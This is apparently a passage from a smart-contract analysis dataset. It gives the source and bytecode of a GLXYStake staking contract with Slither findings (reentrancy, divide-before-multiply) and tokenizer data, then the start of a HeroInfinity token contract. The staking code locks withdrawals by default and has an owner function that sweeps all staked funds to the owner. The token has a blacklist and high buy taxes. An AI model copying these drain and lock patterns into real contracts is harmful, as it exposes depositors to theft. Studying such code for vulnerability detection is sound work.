`/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0), "ERC20: sending to the zero address"); owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address tokenOwner) external view returns (uint256 balance); function allowance(address tokenOwner, address spender) external view returns (uint256 remaining); function transfer(address to, uint256 tokens) external returns (bool success); function approve(address spender, uint256 tokens) external returns (bool success); function transferFrom(address from, address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract GLXYStake is Owned { using SafeMath for uint256; address public GLXYLP = 0xef3EAdEf913997Fe714fff25235C64129893e80E; address public GLXY = 0x6E6E84BB5918CEDC35b9B7a12F827878C3d7012a; address public lpLockAddress = 0x44F8C8a774Ee34d538e4cEf9c6962927cEBd2F67; uint256 public totalStakes = 0; uint256 public totalDividends = 0; uint256 private scaledRemainder = 0; uint256 private scaling = uint256(10) ** 12; uint public round = 1; uint256 public maxAllowed = 350000000000000000000; //350 tokens total allowed to be staked uint256 public ethMade=0; //total payout given /* Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = true; // withdraw can be unlock,, default locked mapping(address => uint) public farmTime; // period that your sake it locked to keep it for farming //uint public lock = 0; // farm lock in blocks ~ 0 days for 15s/block //address public admin; struct USER{ uint256 stakedTokens; uint256 lastDividends; uint256 fromTotalDividend; uint round; uint256 remainder; } address[] internal stakeholders; mapping(address => USER) stakers; mapping (uint => uint256) public payouts; // keeps record of each payout event STAKED(address staker, uint256 tokens); event EARNED(address staker, uint256 tokens); event UNSTAKED(address staker, uint256 tokens); event PAYOUT(uint256 round, uint256 tokens, address sender); event CLAIMEDREWARD(address staker, uint256 reward); function setBreaker(bool _breaker) external onlyOwner { breaker = _breaker; } function isStakeholder(address _address) public view returns(bool) { for (uint256 s = 0; s < stakeholders.length; s += 1){ if (_address == stakeholders[s]) return (true); } return (false); } function addStakeholder(address _stakeholder) public { (bool _isStakeholder) = isStakeholder(_stakeholder); if(!_isStakeholder) stakeholders.push(_stakeholder); } function setLpLockAddress(address _account) public onlyOwner { require(_account != address(0), "ERC20: Setting zero address"); lpLockAddress = _account; } // ------------------------------------------------------------------------ // Token holders can stake their tokens using this function // @param tokens number of tokens to stake // ------------------------------------------------------------------------ function STAKE(uint256 tokens) external { require(totalStakes < maxAllowed, "MAX AMOUNT REACHED CANNOT STAKE NO MORE"); require(IERC20(GLXYLP).transferFrom(msg.sender, address(lpLockAddress), tokens), "Tokens cannot be transferred from user for locking"); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokens.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; (bool _isStakeholder) = isStakeholder(msg.sender); if(!_isStakeholder) farmTime[msg.sender] = block.timestamp; totalStakes = totalStakes.add(tokens); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS() external payable { uint256 _amount = msg.value; ethMade = ethMade.add(_amount); _addPayout(_amount); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public { if(totalDividends >= stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; msg.sender.transfer(owing); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external { require(breaker == false, "Admin Restricted WITHDRAW"); require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(GLXYLP).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedGLXYLp(address staker) public view returns(uint256 stakedGLXYLp){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the GLXY balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourGLXYBalance(address user) external view returns(uint256 GLXYBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(GLXY).balanceOf(user); } function yourGLXYLpBalance(address user) external view returns(uint256 GLXYLpBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(GLXYLP).balanceOf(user); } function retByAdmin() public onlyOwner { require(IERC20(GLXYLP).transfer(owner, IERC20(GLXYLP).balanceOf(address(this))), "Error in retrieving tokens"); require(IERC20(GLXY).transfer(owner, IERC20(GLXY).balanceOf(address(this))), "Error in retrieving GLXY tokens"); owner.transfer(address(this).balance); } }
0x6080604052600436106101815760003560e01c8063bf9befb1116100d1578063d38444451161008a578063ea48a00c11610064578063ea48a00c14610495578063ef037b90146104aa578063f2fde38b146104dd578063f3ec37c21461051057610181565b8063d38444451461041a578063e5c42fd11461044d578063e66fbd911461048057610181565b8063bf9befb114610376578063c3f344a81461038b578063c5cc0f16146103be578063ca399671146103d3578063ca84d591146103e8578063cc16ab6e1461041257610181565b80634baf782e1161013e5780638da5cb5b116101185780638da5cb5b146102e857806390d3b2021461031957806398d624041461034c578063997664d71461036157610181565b80634baf782e146102745780634df9d6ba146102895780635c0aeb0e146102bc57610181565b80630f41e0d214610186578063146ca531146101af5780631c233879146101d657806329652e86146101ed5780632b8b4ce3146102175780632c75bcda1461024a575b600080fd5b34801561019257600080fd5b5061019b610543565b604080519115158252519081900360200190f35b3480156101bb57600080fd5b506101c461054c565b60408051918252519081900360200190f35b3480156101e257600080fd5b506101eb610552565b005b3480156101f957600080fd5b506101c46004803603602081101561021057600080fd5b5035610846565b34801561022357600080fd5b506101c46004803603602081101561023a57600080fd5b50356001600160a01b0316610858565b34801561025657600080fd5b506101eb6004803603602081101561026d57600080fd5b5035610920565b34801561028057600080fd5b506101eb610b65565b34801561029557600080fd5b506101c4600480360360208110156102ac57600080fd5b50356001600160a01b0316610c56565b3480156102c857600080fd5b506101eb600480360360208110156102df57600080fd5b50351515610d79565b3480156102f457600080fd5b506102fd610da3565b604080516001600160a01b039092168252519081900360200190f35b34801561032557600080fd5b506101c46004803603602081101561033c57600080fd5b50356001600160a01b0316610db2565b34801561035857600080fd5b506102fd610e46565b34801561036d57600080fd5b506101c4610e55565b34801561038257600080fd5b506101c4610e5b565b34801561039757600080fd5b506101c4600480360360208110156103ae57600080fd5b50356001600160a01b0316610e61565b3480156103ca57600080fd5b506101c4610e73565b3480156103df57600080fd5b506101c4610e79565b3480156103f457600080fd5b506101eb6004803603602081101561040b57600080fd5b5035610e7f565b6101eb611063565b34801561042657600080fd5b506101c46004803603602081101561043d57600080fd5b50356001600160a01b031661107e565b34801561045957600080fd5b506101eb6004803603602081101561047057600080fd5b50356001600160a01b03166110e1565b34801561048c57600080fd5b506102fd611143565b3480156104a157600080fd5b506102fd611152565b3480156104b657600080fd5b5061019b600480360360208110156104cd57600080fd5b50356001600160a01b0316611161565b3480156104e957600080fd5b506101eb6004803603602081101561050057600080fd5b50356001600160a01b03166111b6565b34801561051c57600080fd5b506101eb6004803603602081101561053357600080fd5b50356001600160a01b031661125d565b600b5460ff1681565b60085481565b6000546001600160a01b0316331461056957600080fd5b600154600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b1580156105c157600080fd5b505afa1580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561063c57600080fd5b505af1158015610650573d6000803e3d6000fd5b505050506040513d602081101561066657600080fd5b50516106b9576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600254600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d60208110156107b657600080fd5b5051610809576040805162461bcd60e51b815260206004820152601f60248201527f4572726f7220696e2072657472696576696e6720474c585920746f6b656e7300604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610843573d6000803e3d6000fd5b50565b600f6020526000908152604090205481565b60006001600160a01b03821661089f5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600254604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108ec57600080fd5b505afa158015610900573d6000803e3d6000fd5b505050506040513d602081101561091657600080fd5b505190505b919050565b600b5460ff1615610978576040805162461bcd60e51b815260206004820152601960248201527f41646d696e205265737472696374656420574954484452415700000000000000604482015290519081900360640190fd5b336000908152600e602052604090205481118015906109975750600081115b6109e8576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b6004546109f590826112f1565b6004556000610a033361133c565b336000908152600e602052604090206004810180548301905554909150610a2a90836112f1565b336000818152600e60209081526040808320948555600180860187905560055460028701556008546003909601959095559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b5051610b26576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a15050565b336000908152600e602052604090206002015460055410610c54576000610b8b3361133c565b336000908152600e6020526040902060040154909150610bac90829061144a565b336000818152600e602052604080822060040182905551929350909183156108fc0291849190818181858888f19350505050158015610bef573d6000803e3d6000fd5b50604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600e60205260409020600181019190915560085460038201556005546002909101555b565b60006001600160a01b038216610c9d5760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f90945291842054600554929493610cf693610cf092610cea91906112f1565b906114a4565b906114fd565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f909252909120546005549394509192610d3b92610cea91906112f1565b81610d4257fe5b6001600160a01b0386166000908152600e60205260409020600401549190069190910190610d7190829061144a565b949350505050565b6000546001600160a01b03163314610d9057600080fd5b600b805460ff1916911515919091179055565b6000546001600160a01b031681565b60006001600160a01b038216610df95760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156108ec57600080fd5b6003546001600160a01b031681565b60055481565b60045481565b600c6020526000908152604090205481565b600a5481565b60095481565b60095460045410610ec15760405162461bcd60e51b815260040180806020018281038252602781526020018061183b6027913960400191505060405180910390fd5b600154600354604080516323b872dd60e01b81523360048201526001600160a01b03928316602482015260448101859052905191909216916323b872dd9160648083019260209291908290030181600087803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b505050506040513d6020811015610f4a57600080fd5b5051610f875760405162461bcd60e51b81526004018080602001828103825260328152602001806117c66032913960400191505060405180910390fd5b6000610f923361133c565b336000908152600e602052604090206004810180548301905554909150610fba90839061144a565b336000818152600e60205260408120928355600183018490556005546002840155600854600390930192909255610ff090611161565b90508061100a57336000908152600c602052604090204290555b600454611017908461144a565b600455611023336110e1565b604080513381526020810185905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a1505050565b600a543490611072908261144a565b600a556108438161153f565b60006001600160a01b0382166110c55760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b506001600160a01b03166000908152600e602052604090205490565b60006110ec82611161565b90508061113f57600d80546001810182556000919091527fd7b6990105719101dabeb77144f2a3385c8033acd3af97e9423a695e81ad1eb50180546001600160a01b0319166001600160a01b0384161790555b5050565b6001546001600160a01b031681565b6002546001600160a01b031681565b6000805b600d548110156111ad57600d818154811061117c57fe5b6000918252602090912001546001600160a01b03848116911614156111a557600191505061091b565b600101611165565b50600092915050565b6000546001600160a01b031633146111cd57600080fd5b6001600160a01b0381166112125760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b0316331461127457600080fd5b6001600160a01b0381166112cf576040805162461bcd60e51b815260206004820152601c60248201527f45524332303a202053657474696e67207a65726f206164647265737300000000604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061133383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061162a565b90505b92915050565b60006001600160a01b0382166113835760405162461bcd60e51b81526004018080602001828103825260228152602001806117f86022913960400191505060405180910390fd5b6001600160a01b0382166000908152600e602090815260408083206003810154600754915460001982018652600f909452918420546005549294936113d093610cf092610cea91906112f1565b6007546001600160a01b0386166000908152600e602090815260408083205460001988018452600f90925290912054600554939450919261141592610cea91906112f1565b8161141c57fe5b6001600160a01b03959095166000908152600e60205260409020600401805491909506019093555090919050565b600082820183811015611333576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826114b357506000611336565b828202828482816114c057fe5b04146113335760405162461bcd60e51b815260040180806020018281038252602181526020018061181a6021913960400191505060405180910390fd5b600061133383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c1565b600061156260065461155c600754856114a490919063ffffffff16565b9061144a565b9050600061157b600454836114fd90919063ffffffff16565b90506115926004548361172690919063ffffffff16565b6006556005546115a2908261144a565b600555600854600019016000908152600f60205260409020546115c5908261144a565b600880546000908152600f602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060088054600101905550565b600081848411156116b95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561167e578181015183820152602001611666565b50505050905090810190601f1680156116ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836117105760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b50600083858161171c57fe5b0495945050505050565b600061133383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836117b25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561167e578181015183820152602001611666565b508284816117bc57fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e6745524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774d415820414d4f554e5420524541434845442043414e4e4f54205354414b45204e4f204d4f5245a26469706673582212205ce25732d9e2000d4a55c59f7da6fcd3bf01d51d6bf3bb1577657649405058be64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2063, 21619, 2581, 2050, 17788, 23499, 2050, 2620, 2581, 2575, 24594, 2692, 7875, 16409, 2509, 7959, 20842, 2683, 18827, 2549, 7959, 2549, 26095, 2581, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1019, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,792
0x975edb0ec219b51789f8e425aa6f10074a0aa521
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ /* HeroInfinity Inu https://t.me/HeroInfinityETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HeroInfinity is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "HeroInfinity"; string private constant _symbol = "HeroInfinity"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3a0D6e3a16c9cC560e96e48D890278129989a3F7); address payable private _marketingAddress = payable(0x709b74Ee88A316e2D8E5ec7E7dBffC50b27293fb); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; uint256 public _maxWalletSize = 25000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), 